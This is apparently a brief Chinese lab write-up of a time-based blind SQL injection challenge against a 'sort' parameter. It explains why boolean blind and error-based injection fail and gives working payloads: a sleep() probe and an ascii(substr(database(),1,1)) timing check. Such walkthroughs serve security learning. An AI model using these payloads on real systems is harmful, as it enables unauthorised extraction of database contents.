文章目录 1. 题目分析2. 注入过程 1. 题目分析 通过?sort=2%27 and sleep(0.5) --+可判断存在时间注入漏洞。并且传入的参数类型为字符串。 因此,利用rand()进行布尔盲注是无法使用的。 然后再来测一下双注入。 网站给报错也屏蔽了,双注入也凉凉了。 那么我们使用时间注入。 2. 注入过程 既然确定了注入的手段,过程就是老生常谈的事情了。 给出一条payload ?sort=2%27 and if(ascii(substr(database(),1,1))=115,sleep(0.5),1) --+